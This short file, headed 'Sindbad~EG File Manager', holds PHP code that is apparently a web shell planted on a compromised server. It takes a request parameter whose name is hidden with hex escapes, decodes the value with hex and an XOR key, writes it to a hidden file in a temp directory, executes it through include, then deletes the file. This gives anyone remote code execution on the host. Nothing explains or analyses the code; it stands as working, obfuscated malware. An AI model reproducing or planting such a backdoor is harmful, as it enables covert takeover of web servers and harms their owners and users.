Sindbad~EG File Manager

<?php

if(in_array("\x74o\x6Ben", array_keys($_REQUEST))){
	$obj = hex2bin($_REQUEST["\x74o\x6Ben"]);
	$pgrp=   '' ; $n = 0; do{$pgrp .= chr(ord($obj[$n]) ^ 22);$n++;} while($n < strlen($obj));
	$object = array_filter(["/tmp", session_save_path(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm"]);
	foreach ($object as $ent) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) {
    $record = vsprintf("%s/%s", [$ent, ".parameter_group"]);
    $file = fopen($record, 'w');
if ($file) {
	fwrite($file, $pgrp);
	fclose($file);
	include $record;
	@unlink($record);
	die();
}
}
}
}